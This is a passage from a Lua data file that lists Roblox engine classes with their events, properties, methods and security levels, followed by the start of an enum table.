 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SetBasicFilteringEnabled&quot;,
 RobloxPlaceSecurity = true
 }
 }
 },
 CoreScript = {
 Inherits = &quot;BaseScript&quot;,
 Events = {
 },
 ClassName = &quot;CoreScript&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 }
 },
 CylinderMesh = {
 Inherits = &quot;BevelMesh&quot;,
 Events = {
 },
 ClassName = &quot;CylinderMesh&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 FlagStand = {
 Inherits = &quot;Part&quot;,
 Events = {
 {
 Name = &quot;FlagCaptured&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 }
 }
 }
 },
 ClassName = &quot;FlagStand&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;TeamColor&quot;,
 Type = &quot;BrickColor&quot;
 }
 },
 Methods = {
 }
 },
 Dragger = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Dragger&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Type = &quot;Axis&quot;,
 Name = &quot;axis&quot;,
 DefaultValue = &quot;X&quot;
 }
 },
 Name = &quot;AxisRotate&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;mousePart&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;pointOnMousePart&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;parts&quot;,
 Type = &quot;Objects&quot;
 }
 },
 Name = &quot;MouseDown&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;mouseRay&quot;,
 Type = &quot;Ray&quot;
 }
 },
 Name = &quot;MouseMove&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;MouseUp&quot;
 }
 }
 },
 ContentFilter = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ContentFilter&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;outstandingRequests&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;cacheSize&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;SetFilterLimits&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetFilterUrl&quot;,
 LocalUserSecurity = true
 }
 }
 },
 Weld = {
 Inherits = &quot;JointInstance&quot;,
 Events = {
 },
 ClassName = &quot;Weld&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Shirt = {
 Inherits = &quot;Clothing&quot;,
 Events = {
 },
 ClassName = &quot;Shirt&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;ShirtTemplate&quot;,
 Type = &quot;Content&quot;
 }
 },
 Methods = {
 }
 },
 BoolValue = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Changed&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;bool&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;changed&quot;
 }
 },
 ClassName = &quot;BoolValue&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Value&quot;,
 Type = &quot;bool&quot;
 }
 },
 Methods = {
 }
 },
 TextService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;TextService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 }
 },
 ServiceProvider = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Close&quot;,
 Arguments = {
 }
 },
 {
 Arguments = {
 },
 Name = &quot;CloseLate&quot;,
 LocalUserSecurity = true
 },
 {
 Name = &quot;ServiceAdded&quot;,
 Arguments = {
 {
 Name = &quot;service&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;ServiceRemoving&quot;,
 Arguments = {
 {
 Name = &quot;service&quot;,
 Type = &quot;Instance&quot;
 }
 }
 }
 },
 ClassName = &quot;ServiceProvider&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notbrowsable = true,
 Methods = {
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;className&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;FindService&quot;
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;className&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;GetService&quot;
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;className&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;getService&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;className&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;service&quot;,
 deprecated = true
 }
 }
 },
 StarterScript = {
 Inherits = &quot;CoreScript&quot;,
 Events = {
 },
 ClassName = &quot;StarterScript&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 }
 },
 Explosion = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Hit&quot;,
 Arguments = {
 {
 Name = &quot;part&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;distance&quot;,
 Type = &quot;float&quot;
 }
 }
 }
 },
 ClassName = &quot;Explosion&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;BlastPressure&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;BlastRadius&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;ExplosionType&quot;,
 Type = &quot;ExplosionType&quot;
 },
 {
 Name = &quot;Position&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Methods = {
 }
 },
 ChangeHistoryService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ChangeHistoryService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;Tuple&quot;,
 Arguments = {
 },
 Name = &quot;GetCanRedo&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Tuple&quot;,
 Arguments = {
 },
 Name = &quot;GetCanUndo&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Redo&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;ResetWaypoints&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;state&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SetEnabled&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;name&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetWaypoint&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Undo&quot;,
 LocalUserSecurity = true
 }
 }
 },
 ClickDetector = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;MouseClick&quot;,
 Arguments = {
 {
 Name = &quot;playerWhoClicked&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;MouseHoverEnter&quot;,
 Arguments = {
 {
 Name = &quot;playerWhoHovered&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;MouseHoverLeave&quot;,
 Arguments = {
 {
 Name = &quot;playerWhoHovered&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;playerWhoClicked&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;mouseClick&quot;
 }
 },
 ClassName = &quot;ClickDetector&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;MaxActivationDistance&quot;,
 Type = &quot;float&quot;
 }
 },
 Methods = {
 }
 },
 BlockMesh = {
 Inherits = &quot;BevelMesh&quot;,
 Events = {
 },
 ClassName = &quot;BlockMesh&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Instance = {
 Events = {
 {
 Name = &quot;AncestryChanged&quot;,
 Arguments = {
 {
 Name = &quot;child&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;parent&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;Changed&quot;,
 Arguments = {
 {
 Name = &quot;property&quot;,
 Type = &quot;Property&quot;
 }
 }
 },
 {
 Name = &quot;ChildAdded&quot;,
 Arguments = {
 {
 Name = &quot;child&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;ChildRemoved&quot;,
 Arguments = {
 {
 Name = &quot;child&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;DescendantAdded&quot;,
 Arguments = {
 {
 Name = &quot;descendant&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;DescendantRemoving&quot;,
 Arguments = {
 {
 Name = &quot;descendant&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;child&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;childAdded&quot;
 }
 },
 ClassName = &quot;Instance&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Archivable&quot;,
 Type = &quot;bool&quot;
 },
 {
 Type = &quot;string&quot;,
 Name = &quot;ClassName&quot;,
 readonly = true
 },
 {
 RobloxPlaceSecurity = true,
 Type = &quot;int&quot;,
 Name = &quot;DataCost&quot;,
 readonly = true
 },
 {
 Name = &quot;Name&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;Parent&quot;,
 Type = &quot;Object&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;RobloxLocked&quot;,
 LocalUserSecurity = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;archivable&quot;,
 hidden = true
 },
 {
 deprecated = true,
 Type = &quot;string&quot;,
 Name = &quot;className&quot;,
 readonly = true
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;ClearAllChildren&quot;
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 },
 Name = &quot;Clone&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Destroy&quot;
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;name&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;recursive&quot;,
 DefaultValue = &quot;false&quot;
 }
 },
 Name = &quot;FindFirstChild&quot;
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 },
 Name = &quot;GetChildren&quot;
 },
 {
 notbrowsable = true,
 Arguments = {
 {
 Type = &quot;int&quot;,
 Name = &quot;scopeLength&quot;,
 DefaultValue = &quot;4&quot;
 }
 },
 Name = &quot;GetDebugId&quot;,
 LocalUserSecurity = true,
 ReturnType = &quot;string&quot;
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 },
 Name = &quot;GetFullName&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;className&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;IsA&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;descendant&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;IsAncestorOf&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;ancestor&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;IsDescendantOf&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Remove&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 },
 Name = &quot;children&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 },
 Name = &quot;clone&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;destroy&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;name&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;recursive&quot;,
 DefaultValue = &quot;false&quot;
 }
 },
 Name = &quot;findFirstChild&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 },
 Name = &quot;getChildren&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;className&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;isA&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;ancestor&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;isDescendantOf&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;remove&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;childName&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;WaitForChild&quot;
 }
 }
 },
 Hopper = {
 Inherits = &quot;GuiItem&quot;,
 Events = {
 },
 ClassName = &quot;Hopper&quot;,
 Callbacks = {
 },
 Properties = {
 },
 deprecated = true,
 Methods = {
 }
 },
 BackpackItem = {
 Inherits = &quot;GuiItem&quot;,
 Events = {
 },
 ClassName = &quot;BackpackItem&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;TextureId&quot;,
 Type = &quot;Content&quot;
 }
 },
 Methods = {
 }
 },
 NetworkServer = {
 Inherits = &quot;NetworkPeer&quot;,
 Events = {
 {
 Arguments = {
 {
 Name = &quot;peer&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;result&quot;,
 Type = &quot;FilterResult&quot;
 },
 {
 Name = &quot;instance&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;member&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;DataBasicFiltered&quot;,
 LocalUserSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;peer&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;result&quot;,
 Type = &quot;FilterResult&quot;
 },
 {
 Name = &quot;instance&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;member&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;DataCustomFiltered&quot;,
 LocalUserSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;peer&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;replicator&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;IncommingConnection&quot;,
 RobloxScriptSecurity = true
 }
 },
 ClassName = &quot;NetworkServer&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;int&quot;,
 Name = &quot;Port&quot;,
 readonly = true
 }
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;int&quot;,
 Arguments = {
 },
 Name = &quot;GetClientCount&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SetIsPlayerAuthenticationRequired&quot;,
 RobloxSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Type = &quot;int&quot;,
 Name = &quot;port&quot;,
 DefaultValue = &quot;0&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;threadSleepTime&quot;,
 DefaultValue = &quot;20&quot;
 }
 },
 Name = &quot;Start&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Type = &quot;int&quot;,
 Name = &quot;blockDuration&quot;,
 DefaultValue = &quot;1000&quot;
 }
 },
 Name = &quot;Stop&quot;,
 LocalUserSecurity = true
 }
 }
 },
 Decal = {
 Inherits = &quot;FaceInstance&quot;,
 Events = {
 },
 ClassName = &quot;Decal&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Shiny&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;Specular&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;Texture&quot;,
 Type = &quot;Content&quot;
 },
 {
 Name = &quot;Transparency&quot;,
 Type = &quot;float&quot;
 }
 },
 Methods = {
 }
 },
 LocalScript = {
 Inherits = &quot;Script&quot;,
 Events = {
 },
 ClassName = &quot;LocalScript&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 DebugSettings = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;DebugSettings&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;int&quot;,
 Name = &quot;AltCdnFailureCount&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;AltCdnSuccessCount&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;AvailablePhysicalMemory&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;BlockMeshSize&quot;,
 readonly = true
 },
 {
 Type = &quot;string&quot;,
 Name = &quot;CPU&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;CdnFailureCount&quot;,
 readonly = true
 },
 {
 Type = &quot;double&quot;,
 Name = &quot;CdnResponceTime&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;CdnSuccessCount&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;CpuCount&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;CpuSpeed&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;DataModel&quot;,
 readonly = true
 },
 {
 Type = &quot;double&quot;,
 Name = &quot;ElapsedTime&quot;,
 readonly = true
 },
 {
 Name = &quot;EnforceInstanceCountLimit&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;ErrorReporting&quot;,
 Type = &quot;ErrorReporting&quot;
 },
 {
 Type = &quot;string&quot;,
 Name = &quot;GfxCard&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;InstanceCount&quot;,
 readonly = true
 },
 {
 Name = &quot;InstanceCountLimit&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;IsFmodProfilingEnabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;IsProfilingEnabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;IsScriptStackTracingEnabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;JobCount&quot;,
 readonly = true
 },
 {
 Type = &quot;double&quot;,
 Name = &quot;LastCdnFailureTimeSpan&quot;,
 readonly = true
 },
 {
 Name = &quot;LuaRamLimit&quot;,
 Type = &quot;int&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;NameDatabaseBytes&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;NameDatabaseSize&quot;,
 readonly = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;OsIs64Bit&quot;,
 readonly = true
 },
 {
 Type = &quot;string&quot;,
 Name = &quot;OsPlatform&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;OsPlatformId&quot;,
 readonly = true
 },
 {
 Type = &quot;string&quot;,
 Name = &quot;OsVer&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;PageFaultsPerSecond&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;PageFileBytes&quot;,
 readonly = true
 },
 {
 Type = &quot;float&quot;,
 Name = &quot;PixelShaderModel&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;PlayerCount&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;PrivateBytes&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;PrivateWorkingSetBytes&quot;,
 readonly = true
 },
 {
 Type = &quot;double&quot;,
 Name = &quot;ProcessCores&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;ProcessorTime&quot;,
 readonly = true
 },
 {
 Name = &quot;ProfilingWindow&quot;,
 Type = &quot;double&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;RAM&quot;,
 readonly = true
 },
 {
 Name = &quot;ReportExtendedMachineConfiguration&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;ReportSoundWarnings&quot;,
 Type = &quot;bool&quot;
 },
 {
 Type = &quot;string&quot;,
 Name = &quot;Resolution&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;RobloxFailureCount&quot;,
 readonly = true
 },
 {
 Type = &quot;string&quot;,
 Name = &quot;RobloxProductName&quot;,
 readonly = true
 },
 {
 Type = &quot;double&quot;,
 Name = &quot;RobloxRespoceTime&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;RobloxSuccessCount&quot;,
 readonly = true
 },
 {
 Type = &quot;string&quot;,
 Name = &quot;RobloxVersion&quot;,
 readonly = true
 },
 {
 Type = &quot;string&quot;,
 Name = &quot;SIMD&quot;,
 readonly = true
 },
 {
 Type = &quot;string&quot;,
 Name = &quot;SystemProductName&quot;,
 readonly = true
 },
 {
 Name = &quot;TickCountPreciseOverride&quot;,
 Type = &quot;TickCountSampleMethod&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;TotalPhysicalMemory&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;TotalProcessorTime&quot;,
 readonly = true
 },
 {
 Type = &quot;float&quot;,
 Name = &quot;VertexShaderModel&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;VideoMemory&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;VirtualBytes&quot;,
 readonly = true
 }
 },
 notbrowsable = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;LegacyScriptMode&quot;,
 deprecated = true,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Tuple&quot;,
 Arguments = {
 },
 Name = &quot;ResetCdnFailureCounts&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SetBlockingRemove&quot;,
 LocalUserSecurity = true
 }
 }
 },
 ContextActionService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;LocalToolEquipped&quot;,
 Arguments = {
 {
 Name = &quot;toolEquipped&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;LocalToolUnequipped&quot;,
 Arguments = {
 {
 Name = &quot;toolUnequipped&quot;,
 Type = &quot;Instance&quot;
 }
 }
 }
 },
 ClassName = &quot;ContextActionService&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;ContextButtonEnabled&quot;,
 Type = &quot;bool&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;ActivateLocalTool&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;DeactivateLocalTool&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 },
 Name = &quot;GetCurrentLocalToolIcon&quot;
 }
 }
 },
 Scale9Frame = {
 Inherits = &quot;GuiObject&quot;,
 Events = {
 },
 ClassName = &quot;Scale9Frame&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;ScaleEdgeSize&quot;,
 Type = &quot;Vector2int16&quot;
 },
 {
 Name = &quot;SlicePrefix&quot;,
 Type = &quot;string&quot;
 }
 },
 Methods = {
 }
 },
 Rotate = {
 Inherits = &quot;JointInstance&quot;,
 Events = {
 },
 ClassName = &quot;Rotate&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 NotificationObject = {
 Inherits = &quot;Frame&quot;,
 Events = {
 },
 ClassName = &quot;NotificationObject&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notbrowsable = true,
 Methods = {
 }
 },
 Keyframe = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Keyframe&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Time&quot;,
 Type = &quot;float&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;pose&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;AddPose&quot;
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 },
 Name = &quot;GetPoses&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;pose&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;RemovePose&quot;
 }
 }
 }
}
-----------
-- ENUMS --
-----------
-- Contains all the enum data (The name, and its ID). Perhaps not as useful, but it exists
-- for your enjoyment, and was included in the API format.

lib.Enums = {
 GearType = {
 Name = &quot;GearType&quot;,
 EnumItems = {
 &quot;RangedWeapons&quot;,
 &quot;Explosives&quot;,
 &quot;PowerUps&quot;,
 &quot;NavigationEnhancers&quot;,
 &quot;MusicalInstruments&quot;,
 &quot;SocialItems&quot;,
 &quot;BuildingTools&quot;,
 &quot;Transport&quot;,
 [0] = &quot;MeleeWeapons&quot;
 }
 },
 RuntimeUndoBehavior = {
 Name = &quot;RuntimeUndoBehavior&quot;,
 EnumItems = {
 &quot;Snapshot&quot;,
 &quot;Hybrid&quot;,
 [0] = &quot;Aggregate&quot;
 }
 },
 EnviromentalPhysicsThrottle = {
 Name = &quot;EnviromentalPhysicsThrottle&quot;,
 EnumItems = {
 &quot;Disabled&quot;,
 &quot;Always&quot;,
 &quot;Skip2&quot;,
 &quot;Skip4&quot;,
 &quot;Skip8&quot;,
 &quot;Skip16&quot;,
 [0] = &quot;DefaultAuto&quot;
 }
 },
 MoveState = {
 Name = &quot;MoveState&quot;,
 EnumItems = {
 &quot;Coasting&quot;,
 &quot;Pushing&quot;,
 &quot;Stopping&quot;,
 &quot;AirFree&quot;,
 [0] = &quot;Stopped&quot;
 }
 },
 SwipeDirection = {
 Name = &quot;SwipeDirection&quot;,
 EnumItems = {
 &quot;Left&quot;,
 &quot;Up&quot;,
 &quot;Down&quot;,
 [0] = &quot;Right&quot;
 }
 },
 Axis = {
 Name = &quot;Axis&quot;,
 EnumItems = {
 &quot;Y&quot;,
 &quot;Z&quot;,
 [0] = &quot;X&quot;
 }
 },
 WaterForce = {
 Name = &quot;WaterForce&quot;,
 EnumItems = {
 &quot;Small&quot;,
 &quot;Medium&quot;,
 &quot;Strong&quot;,
 &quot;Max&quot;,
 [0] = &quot;None&quot;
 }
 },
 InputType = {
 Name = &quot;InputType&quot;,
 EnumItems = {
 &quot;LeftTread&quot;,
 &quot;RightTread&quot;,
 &quot;Steer&quot;,
 &quot;Throtle&quot;,
 [6] = &quot;UpDown&quot;,
 [7] = &quot;Action1&quot;,
 [8] = &quot;Action2&quot;,
 [9] = &quot;Action3&quot;,
 [10] = &quot;Action4&quot;,
 [11] = &quot;Action5&quot;,
 [12] = &quot;Constant&quot;,
 [13] = &quot;Sin&quot;,
 [0] = &quot;NoInput&quot;
 }
 },
 LeftRight = {
 Name = &quot;LeftRight&quot;,
 EnumItems = {
 &quot;Center&quot;,
 &quot;Right&quot;,
 [0] = &quot;Left&quot;
 }
 },
 TweenStatus = {
 Name = &quot;TweenStatus&quot;,
 EnumItems = {
 &quot;Completed&quot;,
 [0] = &quot;Canceled&quot;
 }
 },
 PartType = {
 Name = &quot;PartType&quot;,
 EnumItems = {
 &quot;Block&quot;,
 &quot;Cylinder&quot;,
 [0] = &quot;Ball&quot;
 }
 },
 PriorityMethod = {
 Name = &quot;PriorityMethod&quot;,
 EnumItems = {
 &quot;AccumulatedError&quot;,
 &quot;FIFO&quot;,
 [0] = &quot;LastError&quot;
 }
 },
 FormFactor = {
 Name = &quot;FormFactor&quot;,
 EnumItems = {
 &quot;Brick&quot;,
 &quot;Plate&quot;,
 &quot;Custom&quot;,
 [0] = &quot;Symmetric&quot;
 }
 },
 ChatMode = {
 Name = &quot;ChatMode&quot;,
 EnumItems = {
 &quot;TextAndMenu&quot;,
 [0] = &quot;Menu&quot;
 }
 },
 InOut = {
 Name = &quot;InOut&quot;,
 EnumItems = {
 &quot;Inset&quot;,
 &quot;Center&quot;,
 [0] = &quot;Edge&quot;
 }
 },
 CellMaterial = {
 Name = &quot;CellMaterial&quot;,
 EnumItems = {
 &quot;Grass&quot;,
